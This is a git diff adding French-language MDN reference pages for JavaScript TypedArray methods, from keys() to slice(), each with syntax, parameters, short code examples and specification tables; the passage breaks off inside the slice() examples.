diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/keys/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/keys/index.html new file mode 100644 index 0000000000..d9937137ba --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/keys/index.html @@ -0,0 +1,94 @@ +--- +title: TypedArray.prototype.keys() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/keys +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/keys +--- +
{{JSRef}}
+ +

La méthode keys() renvoie un nouvel objet Array Iterator contenant les clés pour chaque indice du tableau typé.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-keys.html")}}
+ + + +

Syntaxe

+ +
arr.keys()
+ +

Valeur de retour

+ +

Un nouvel objet Array Iterator.

+ +

Exemples

+ +

Parcourir un tableau avec for...of

+ +
var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArray = arr.keys();
+// prérequis : le navigateur doit supporter les
+// boucles for..of et les variables dont la portée
+// est définie par let
+for (let n of eArray) {
+  console.log(n);
+}
+
+ +

Une autre méthode d'itération

+ +
var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArr = arr.keys();
+console.log(eArr.next().value); // 0
+console.log(eArr.next().value); // 1
+console.log(eArr.next().value); // 2
+console.log(eArr.next().value); // 3
+console.log(eArr.next().value); // 4
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.keys', '%TypedArray%.prototype.keys()')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.keys', '%TypedArray%.prototype.keys()')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.keys")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/lastindexof/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/lastindexof/index.html new file mode 100644 index 0000000000..4e219c8c1a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/lastindexof/index.html @@ -0,0 +1,87 @@ +--- +title: TypedArray.prototype.lastIndexOf() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/lastIndexOf +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/lastIndexOf +--- +
{{JSRef}}
+ +

La méthode lastIndexOf() renvoie le dernier indice (le plus grand) pour lequel un élément donné est trouvé. Si l'élément cherché n'est pas trouvé, la valeur de retour sera -1. Le tableau typé est parcouru dans l'ordre des indices décroissants (de la fin vers le début) à partir de indexDépart. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.lastIndexOf()")}}. Dans le reste de l'article, TypedArray correspond à l'un des types de tableaux typés.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-lastindexof.html")}}
+ + + +

Syntaxe

+ +
typedarray.lastIndexOf(élémentRecherché[, indiceDépart = typedarray.length])
+ +

Paramètres

+ +
+
élémentRecherché
+
L'élément qu'on souhaite situer dans le tableau.
+
indiceDépart
+
Paramètre optionnel qui représente l'indice à partir duquel parcourir le tableau dans le sens inverse. La valeur par défaut correspond à la longueur du tableau (c'est-à-dire que tout le tableau sera parcouru). Si l'indice est supérieur ou égal à la longueur du tableau typé, tout le tableau typé sera parcouru. Si la valeur est négative, le parcours commencera à length+indiceDépart (le sens de parcours ne change pas). Si l'indice calculé est négatif, la valeur de retour sera -1 et le tableau ne sera pas parcouru.
+
+ +

Valeur de retour

+ +

Le dernier indice du tableau typé pour lequel l'élément a été trouvé ou -1 s'il n'a pas été trouvé.

+ +

Description

+ +

lastIndexOf compare élémentRecherché avec les éléments du tableau typé en utilisant l'égalité stricte (celle utilisée par l'opérateur ===).

+ +

Exemples

+ +
var uint8 = new Uint8Array([2, 5, 9, 2]);
+uint8.lastIndexOf(2);     // 3
+uint8.lastIndexOf(7);     // -1
+uint8.lastIndexOf(2, 3);  // 3
+uint8.lastIndexOf(2, 2);  // 0
+uint8.lastIndexOf(2, -2); // 0
+uint8.lastIndexOf(2, -1); // 3
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.lastindexof', 'TypedArray.prototype.lastIndexOf')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.lastindexof', 'TypedArray.prototype.lastIndexOf')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.lastIndexOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.prototype.indexOf()")}}
    • +
  • {{jsxref("Array.prototype.lastIndexOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/length/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/length/index.html new file mode 100644 index 0000000000..7d84b3b8ec --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/length/index.html @@ -0,0 +1,75 @@ +--- +title: TypedArray.prototype.length +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/length +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - TypedArray +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/length +--- +
{{JSRef}}
+ +

La propriété length est un accesseur qui permet de représenter la longueur, en nombre d'éléments, d'un tableau typé.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-length.html")}}
+ + + +

Syntaxe

+ +
typedarray.length
+ +

Description

+ +

La propriété length est un accesseur dont le mutateur correspondant vaut undefined, ce qui signifie qu'elle n'est accessible qu'en lecture. La valeur de la propriété est déterminée lors de la construction du TypedArray et ne peut pas être modifiée. Si le TypedArray n'utilise pas de byteOffset ou de length, le résultat correspondra à la longueur du {{jsxref("ArrayBuffer")}} correspondant. TypedArray est l'un des objets TypedArray.

+ +

Exemples

+ +
var tampon = new ArrayBuffer(8);
+
+var uint8 = new Uint8Array(tampon);
+uint8.length; // 8 (correspond à la longueur du tampon/buffer)
+
+var uint8 = new Uint8Array(tampon, 1, 5);
+uint8.length; // 5 (correspond à la longueur définie lors de la construction)
+
+var uint8 = new Uint8Array(tampon, 2);
+uint8.length; // 6 (correspond à la longueur en prenant en compte le décalage utilisé)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-get-%typedarray%.prototype.length', 'TypedArray.prototype.length')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.length', 'TypedArray.prototype.length')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.length")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/map/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/map/index.html new file mode 100644 index 0000000000..938b46fe43 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/map/index.html @@ -0,0 +1,117 @@ +--- +title: TypedArray.prototype.map() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/map +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/map +--- +
{{JSRef}}
+ +

La méthode map() crée un nouveau tableau typé dont les éléments sont les images des éléments du tableau typé courant par une fonction donnée. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.map()")}}. TypedArray est utilisé ici de façon générique pour représenter l'un des types de tableaux typés possibles.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-map.html")}}
+ + + +

Syntaxe

+ +
typedarray.map(callback[, thisArg])
+ +

Paramètres

+ +
+
callback
+
La fonction qui renvoie l'élément à placer dans le nouveau tableau typé. Cette fonction utilise trois arguments : +
+
valeurCourante
+
La valeur de l'élément du tableau typé courant, celui traité par la fonction.
+
indice
+
L'indice de l'élément du tableau typé en cours de traitement.
+
tableauTypé
+
Le tableau typé sur lequel map() a été appelée.
+
+
+
thisArg
+
Paramètre optionnel. La valeur à utiliser pour this lors de l'appel à callback.
+
+ +

Valeur de retour

+ +

Un nouveau tableau typé.

+ +

Description

+ +

La méthode map() appelle la fonction callback() passée en argument une fois pour chaque élément du tableau typé pour construire un nouveau tableau à partir des résultats de la fonction. Les appels à callback sont effectués dans l'ordre du tableau typé. callback() n'est appelée que pour les éléments du tableaux qui ont une valeur, elle n'est pas appelée pour les éléments qui sont indéfinis ou qui ont été supprimés.

+ +

callback() est appelée avec trois arguments : la valeur de l'élément, l'indice de cet élément et enfin le tableau typé courant.

+ +

Si un paramètre thisArg est fourni pour map(), il sera passé à callback pour les différents appels et servira de valeur this. Par défaut, la valeur {{jsxref("undefined")}} sera passée à la fonction pour la valeur this. Par ailleurs, la valeur de this accessible depuis la fonction callback est déterminée selon les règles usuelles déterminant la valeur this au sein d'une fonction.

+ +

map() ne modifie pas le tableau typé sur lequel elle a été appelée (indirectement, c'est la fonction callback qui pourra éventuellement modifier le tableau).

+ +

La liste des éléments parcourus par map() est définie avant la première invocation de la fonction callback. Les éléments qui sont ajoutés au tableau typé après le début de l'appel de map() (grâce à la fonction callback par exemple) ne seront pas visités. Si des éléments existants du tableau typé ont modifiés ou supprimés, la valeur fournie à la fonction callback sera leur valeur au moment où map() les visite - les éléments supprimés ne seront pas traités par la fonction.

+ +

Exemples

+ +

Obtenir un tableau typé des racines carrées des éléments d'un premier tableau typé

+ +

Dans l'exemple suivant, on crée un nouveau tableau typé dont les éléments seront les racines carrées respectives des éléments d'un tableau typé existant.

+ +
var nombres = new Uint8Array([1, 4, 9]);
+var racines = nombres.map(Math.sqrt);
+// racines vaut désormais Uint8Array [1, 2, 3],
+// nombres vaut toujours Uint8Array [1, 4, 9]
+
+ +

Utiliser map() avec une fonction qui prend un argument

+ +

Ici, on illustre comment une fonction utilisant un argument peut être utilisée avec map(). Cet argument recevra automatiquement la valeur de chaque élément du tableau typé au fur et à mesure du parcours.

+ +
var nombres = new Uint8Array([1, 4, 9]);
+var doubles = nombres.map(function(num) {
+  return num * 2;
+});
+// doubles vaut désormais Uint8Array [2, 8, 18]
+// nombres vaut toujours Uint8Array [1, 4, 9]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.map', 'TypedArray.prototype.map')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.map', 'TypedArray.prototype.map')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.map")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.prototype.filter()")}}
    • +
  • {{jsxref("Array.prototype.map()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/name/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/name/index.html new file mode 100644 index 0000000000..c94611406e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/name/index.html @@ -0,0 +1,75 @@ +--- +title: TypedArray.name +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/name +tags: + - JavaScript + - Propriété + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/name +--- +
{{JSRef}}
+ +

La propriété TypedArray.name est une chaîne de caractères représentant le nom du constructeur du tableau typé.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-name.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Syntaxe

+ +
TypedArray.name;
+ +

Description

+ +

Les objets TypedArray varient en fonction du nombre d'octets correspondant pour chaque élément du tableau et de la façon dont les octets sont interprétés. La propriété name permet de décrire le type de données du tableau. La première partie du nom peut être Int pour les tableaux d'entiers (Integer) ou Uint pour les tableaux d'entiers non signés (Unsigned Integer) ou Float pour les nombres décimaux (floating). La deuxième partie correspond au nombre de bits de chaque élément. Enfin, la troisième composante du nom est Array, ClampedArray étant un cas spécifique. Voir la page {{jsxref("Uint8ClampedArray")}} pour plus d'informations sur ce tableau typé.

+ +

Exemples

+ +
Int8Array.name;         // "Int8Array"
+Uint8Array.name;        // "Uint8Array"
+Uint8ClampedArray.name; // "Uint8ClampedArray"
+Int16Array.name;        // "Int16Array"
+Uint16Array.name;       // "Uint16Array"
+Int32Array.name;        // "Int32Array"
+Uint32Array.name;       // "Uint32Array"
+Float32Array.name;      // "Float32Array"
+Float64Array.name;      // "Float64Array"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-properties-of-the-typedarray-constructors', 'TypedArray.name')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-properties-of-the-typedarray-constructors', 'TypedArray.name')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.name")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/of/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/of/index.html new file mode 100644 index 0000000000..18bea06502 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/of/index.html @@ -0,0 +1,97 @@ +--- +title: TypedArray.of() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/of +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - TypedArray +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/of +--- +
{{JSRef}}
+ +

La méthode TypedArray.of() crée un nouvel objet {{jsxref("TypedArray", "TypedArray", "#Les_objets_TypedArray")}} à partir d'un nombre variable d'arguments. Cette méthode est similaire à {{jsxref("Array.of()")}}.

+ +

Syntaxe

+ +
TypedArray.of(élément0[, élément1[, ...[, élémentN]]])
+
+où TypedArray est l'un de :
+
+Int8Array
+Uint8Array
+Uint8ClampedArray
+Int16Array
+Uint16Array
+Int32Array
+Uint32Array
+Float32Array
+Float64Array
+BigInt64Array
+BigUint64Array
+ +

Paramètres

+ +
+
élémentN
+
Les éléments avec lesquels on souhaite construire le nouveau tableau typé.
+
+ +

Valeur de retour

+ +

Une nouvelle instance de {{jsxref("TypedArray")}}.

+ +

Description

+ +

Il existe de légères différences entre {{jsxref("Array.of()")}} et TypedArray.of() :

+ +
    +
  • Si la valeur de this passée à TypedArray.of n'est pas un constructeur, TypedArray.of lèvera une exception {{jsxref("TypeError")}}, tandis que Array.of créera un nouvel objet {{jsxref("Array")}}.
    • +
  • TypedArray.of utilise [[Put]] tandis que Array.of utilise [[DefineProperty]]. Ainsi lorsque les arguments sont des objets {{jsxref("Proxy")}} la première méthode appellera {{jsxref("Objets_globaux/Proxy/handler/set", "handler.set")}} pour créer les nouveaux éléments et la seconde appellera {{jsxref("Objets_globaux/Proxy/handler/defineProperty", "handler.defineProperty")}}.
    • +
+ +

Exemples

+ +
Uint8Array.of(1);            // Uint8Array [ 1 ]
+Int8Array.of("1", "2", "3"); // Int8Array [ 1, 2, 3 ]
+Float32Array.of(1, 2, 3);    // Float32Array [ 1, 2, 3 ]
+Int16Array.of(undefined);    // Int16Array [ 0 ]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.of', '%TypedArray%.of')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-%typedarray%.of', '%TypedArray%.of')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.of")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.from()")}}
    • +
  • {{jsxref("Array.of()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/reduce/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/reduce/index.html new file mode 100644 index 0000000000..4c8d852d32 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/reduce/index.html @@ -0,0 +1,98 @@ +--- +title: TypedArray.prototype.reduce() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/reduce +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/reduce +--- +
{{JSRef}}
+ +

La méthode reduce() applique une fonction sur un accumulateur et chaque valeur du tableau typé (de la gauche vers la droite) afin de réduire le tableau en une seule valeur. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.reduce()")}}. Dans le reste de cet article TypedArray correspond à un des types de tableaux typés.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-reduce.html")}}
+ + + +

Syntaxe

+ +
typedarray.reduce(callback[, valeurInitiale])
+ +

Paramètres

+ +
+
callback
+
La fonction à exécuter sur chaque valeur du tableau typé. Elle utilise quatre arguments : +
+
valeurPrécédente
+
La valeur renvoyée précédemment par l'appel précédent à callback. Dans le cadre du premier élément, ce sera valeurInitiale si ce paramètre est fourni (voir ci-après).
+
valeurCourante
+
L'élément du tableau typé en cours de traitement
+
index
+
L'indice de l'élément du tableau typé en cours de traitement.
+
array
+
Le tableau typé pour lequel reduce a été appelée.
+
+
+
valeurInitiale
+
Paramètre optionnel qui correspond à l'objet à utiliser en tant que premier argument pour le premier appel à callback.
+
+ +

Valeur de retour

+ +

La valeur obtenue à partir de la réduction du tableau typé.

+ +

Description

+ +

reduce exécute la fonction callback une fois pour chaque élément présent dans le tableau typé (les éléments vides ou supprimés ne sont pas traités). La fonction callback utilise quatre arguments : la valeur initiale ou la valeur précédemment calculée, la valeur de l'élément courant, l'indice de l'élément courant et le tableau typé qui est parcouru.

+ +

Lors du premier appel à la fonction callback, valeurPrécédente et valeurCourante peuvent être un ou deux valeurs différentes. Si valeurInitiale est fournie, valeurPrécédente sera alors égale à valeurInitiale et valeurCourante sera égale à la première valeur du tableau. Si le paramètre valeurInitiale n'est pas utilisé, valeurPrécédente sera égale au premier élément du tableau typé et valeurCourante sera égale au second élément.

+ +

Si le tableau typé est vide et que le paramètre valeurInitiale n'a pas été fourni, une exception {{jsxref("TypeError")}} sera levée. SI le tableau typé ne possède qu'un seul élément et que valeurInitiale n'a pas été fourni (ou que valeurInitiale a été utilisée mais que le tableau typé est vide), la valeur unique sera renvoyée et callback ne sera pas appelée.

+ +

Exemples

+ +
var total = new Uint8Array([0, 1, 2, 3]).reduce(function(a, b) {
+  return a + b;
+});
+// total == 6
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-%typedarray%.prototype.reduce', '%TypedArray%.prototype.reduce')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.reduce', '%TypedArray%.prototype.reduce')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.reduce")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.prototype.reduceRight()")}}
    • +
  • {{jsxref("Array.prototype.reduce()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/reduceright/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/reduceright/index.html new file mode 100644 index 0000000000..141b38f5b8 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/reduceright/index.html @@ -0,0 +1,100 @@ +--- +title: TypedArray.prototype.reduceRight() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/reduceRight +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/reduceRight +--- +
{{JSRef}}
+ +

La méthode reduceRight() applique une fonction sur un accumulateur et chaque valeur du tableau typé (de la droite vers la gauche) afin de réduire le tableau en une seule valeur. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.reduceRight()")}}. Dans le reste de cet article TypedArray correspond à un des types de tableaux typés.

+ +

Syntaxe

+ +
typedarray.reduceRight(callback[, valeurInitiale])
+ +

Paramètres

+ +
+
callback
+
La fonction à exécuter sur chaque valeur du tableau typé. Elle utilise quatre arguments : +
+
valeurPrécédente
+
La valeur renvoyée précédemment par l'appel précédent à callback. Dans le cadre du premier élément, ce sera valeurInitiale si ce paramètre est fourni (voir ci-après).
+
valeurCourante
+
L'élément du tableau typé en cours de traitement
+
index
+
L'indice de l'élément du tableau typé en cours de traitement.
+
array
+
Le tableau typé pour lequel reduceRight a été appelée.
+
+
+
valeurInitiale
+
Paramètre optionnel qui correspond à l'objet à utiliser en tant que premier argument pour le premier appel à callback.
+
+ +

Valeur de retour

+ +

La valeur obtenue à partir de la réduction du tableau typé.

+ +

Description

+ +

La méthode reduceRight exécute la fonction callback une fois pour chaque élément présent dans le tableau typé (les éléments vides ou supprimés ne sont pas traités). La fonction callback utilise quatre arguments : la valeur initiale ou la valeur précédemment calculée, la valeur de l'élément courant, l'indice de l'élément courant et le tableau typé qui est parcouru.

+ +

L'appel à reduceRight utilisant la fonction callback ressemble à :

+ +
typedarray.reduceRight(function(valeurPrécédente, valeurCourante, index, typedarray) {
+  // ...
+});
+ +

Lors du premier appel à la fonction callback, valeurPrécédente et valeurCourante peuvent être un ou deux valeurs différentes. Si valeurInitiale est fournie, valeurPrécédente sera alors égale à valeurInitiale et valeurCourante sera égale à la première valeur du tableau. Si le paramètre valeurInitiale n'est pas utilisé, valeurPrécédente sera égale au premier élément du tableau typé et valeurCourante sera égale au second élément.

+ +

Si le tableau typé est vide et que le paramètre valeurInitiale n'a pas été fourni, une exception {{jsxref("TypeError")}} sera levée. SI le tableau typé ne possède qu'un seul élément et que valeurInitiale n'a pas été fourni (ou que valeurInitiale a été utilisée mais que le tableau typé est vide), la valeur unique sera renvoyée et callback ne sera pas appelée.

+ +

Exemples

+ +
var total = new Uint8Array([0, 1, 2, 3]).reduceRight(function(a, b) {
+  return a + b;
+});
+// total == 6
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-%typedarray%.prototype.reduceRight', '%TypedArray%.prototype.reduceRight')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.reduceRight', '%TypedArray%.prototype.reduceRight')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.reduceRight")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.prototype.reduce()")}}
    • +
  • {{jsxref("Array.prototype.reduceRight()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/reverse/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/reverse/index.html new file mode 100644 index 0000000000..9fa9792bf6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/reverse/index.html @@ -0,0 +1,70 @@ +--- +title: TypedArray.prototype.reverse() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/reverse +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/reverse +--- +
{{JSRef}}
+ +

La méthode reverse() inverse les éléments d'un tableau. Le premier élément du tableau typé devient le dernier, le dernier élément devient le premier et ainsi de suite. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.reverse()")}}. Dans le reste de cet article TypedArray correspond à un des types de tableaux typés.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-reverse.html")}}
+ + + +

Syntaxe

+ +
typedarray.reverse();
+ +

Valeur de retour

+ +

Le tableau typé dont les éléments ont été inversés.

+ +

Exemples

+ +
var uint8 = new Uint8Array([1, 2, 3]);
+uint8.reverse();
+
+console.log(uint8); // Uint8Array [3, 2, 1]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.reverse', 'TypedArray.prototype.reverse')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.reverse', 'TypedArray.prototype.reverse')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.reverse")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.reverse()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/set/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/set/index.html new file mode 100644 index 0000000000..32247448e1 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/set/index.html @@ -0,0 +1,97 @@ +--- +title: TypedArray.prototype.set() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/set +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/set +--- +
{{JSRef}}
+ +

La méthode set() permet d'enregistrer plusieurs valeurs dans le tableau typé à partir d'un tableau donné.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-set.html")}}
+ + + +

Syntaxe

+ +
typedArr.set(tableau [, décalage])
+typedArr.set(tableauTypé [, décalage])
+
+ +

Paramètres

+ +
+
tableau
+
Le tableau à partir duquel on copie les valeurs. Toutes les valeurs du tableau source seront copiées dans le tableau cible sauf si la longueur du tableau cible est trop courte en fonction du décalage défini et de la longueur du tableau source : dans ce cas, un exception sera renvoyée.
+
tableauTypé
+
Si le tableau source est un tableau typé, il se peut que les deux tableaux partagent le même {{jsxref("ArrayBuffer")}} ; le moteur effectuera alors une copie intelligente entre le tableau source et le tableau ciblé.
+
décalage {{optional_inline}}
+
Le décalage, exprimé en nombre d'éléments, à partir duquel copier les valeurs du tableau source dans le tableau cible. Si le paramètre n'est pas utilisé, la valeur par défaut sera 0 (ce qui correspond au cas où les éléments seront copiés au début du tableau).
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Exceptions

+ +
+
{{jsxref("RangeError")}}
+
Cette exception est renvoyée lorsque le décalage est tel que des valeurs seraient enregistrées en dehors du tableau typé.
+
+ +

Exemples

+ +
var buffer = new ArrayBuffer(8);
+var uint8 = new Uint8Array(buffer);
+
+uint8.set([1, 2, 3], 3);
+
+console.log(uint8); // Uint8Array [ 0, 0, 0, 1, 2, 3, 0, 0 ]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Englobée avec ECMAScript 6.
{{SpecName('ES6', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.set")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/slice/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/slice/index.html new file mode 100644 index 0000000000..4be18cbecc --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/slice/index.html @@ -0,0 +1,109 @@ +--- +title: TypedArray.prototype.slice() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/slice +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/slice +--- +
{{JSRef}}
+ +

La méthode slice() renvoie une copie superficielle (shallow copy) d'un fragment du tableau typé courant dans un nouveau tableau typé. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.slice()")}}. TypedArray est utilisé par la suite de façon générique pour réprésenter l'un des types de tableaux typés.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-slice.html")}}
+ + + +

Syntaxe

+ +
typedarray.slice([début[, fin]])
+ +

Paramètres

+ +
+
début {{optional_inline}}
+
L'indice (compté à partir de zéro) à partir duquel commencer le fragment.
+
Si l'indice fourni est négatif, début indiquera le décalage par rapport à la fin de la séquence. Par exemple, slice(-2) extrait les deux derniers éléments de la séquence.
+
Par défaut, si début n'est pas utilisé, slice() commencera à partir de l'indice 0.
+
fin {{optional_inline}}
+
L'indice (compté à partir de zéro) jusqu'auquel extraire le fragment. Le fragment obtenu n'incluera pas l'élément situé à l'indice fin.
+
slice(1,4) extrait par exemple à partir du deuxième élément et jusqu'au quatrième (c'est-à-dire les éléments dont les indices respectifs sont 1, 2, et 3).
+
Si l'indice utilisé est négatif, fin indiquera le décalage par rapport à la fin de la séquence. Ainsi, slice(2,-1) extraira à partir du troisième élément et jusqu'à l'avant dernier élément (compris).
+
Par défaut, si fin n'est pas utilisé, slice() extraira les éléments jusqu'à la fin de la séquence (arr.length).
+
+ +

Valeur de retour

+ +

Un nouveau tableau typé qui contient les éléments extraits.

+ +

Description

+ +

La méthode slice() ne modifie pas le tableau typé courant, elle renvoie une copie superficielle (shallow copy) du tableau typé original.

+ +

Si un nouvel élément est ajouté à l'un des deux tableaux typés, l'autre ne sera pas impacté.

+ +

Exemples

+ +
var uint8 = new Uint8Array([1,2,3]);
